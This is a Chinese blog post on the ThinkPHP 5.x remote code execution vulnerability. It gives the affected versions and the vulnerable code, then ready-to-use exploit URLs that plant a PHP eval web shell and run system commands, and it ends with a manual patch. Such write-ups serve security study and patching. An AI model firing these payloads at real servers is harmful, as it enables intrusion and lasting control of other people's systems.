Myluzh Blog

Strive to become a dream architect.

ThinkPHP 5.x (v5.0.23及v5.1.31以下版本) 远程命令执行漏洞利用

发布时间: 2020-3-25 文章作者: myluzh 分类名称: PHP


0x01影响版本:
ThinkPHP v5.0系列<5.0.23
ThinkPHP v5.1系列<5.1.31

0x02漏洞分析:
关键代码:
// 获取控制器名
$controller = strip_tags($result[1] ?: $this->rule->getConfig('default_controller'));
该漏洞形成的原因是ThinkPHP在获取控制器名时未对用户提交的参数进行严格的过滤,在没有开启强制路由的情况下,攻击者可以通过输入‘\’字符的方式调用任意方法,从而实现远程代码执行。

0x03入侵利用
1. 写入 Shell
http//localhost/thinkphp-5.1.29/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_REQUEST['code']);?>
点击查看原图

2.执行phpinfo
http//localhost/thinkphp-5.1.29/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();'
http//localhost/thinkphp-5.1.29/public/index.php?s=/index/\think\request/cache&key=1|phpinfo
点击查看原图

3.利用系统执行系统命令
http//localhost/thinkphp-5.1.29/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l

http//localhost/thinkphp-5.1.29/public/index.php?s=/index/\think\request/cache&key=ls%20-l|system

点击查看原图

0x04手动修复方法:
5.0版本 在think\App类的module方法的获取控制器的代码后面加上
if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
   throw new HttpException(404, 'controller not exists:' . $controller);
}
5.1版本 在think\route\dispatch\Url类的parseUrl方法,解析控制器后加上
if ($controller && !preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
   throw new HttpException(404, 'controller not exists:' . $controller);
}

参考文章:

ThinkPHP5.*版本发布安全更新
ThinkPHP 5.x(v5.0.23及v5.1.31以下版本)远程命令执行突破利用(GetShell)
thinkphp 5.x版本代码执行可直接提权getshell

标签: 渗透 php 漏洞 ThinkPHP 远程命令执行

发表评论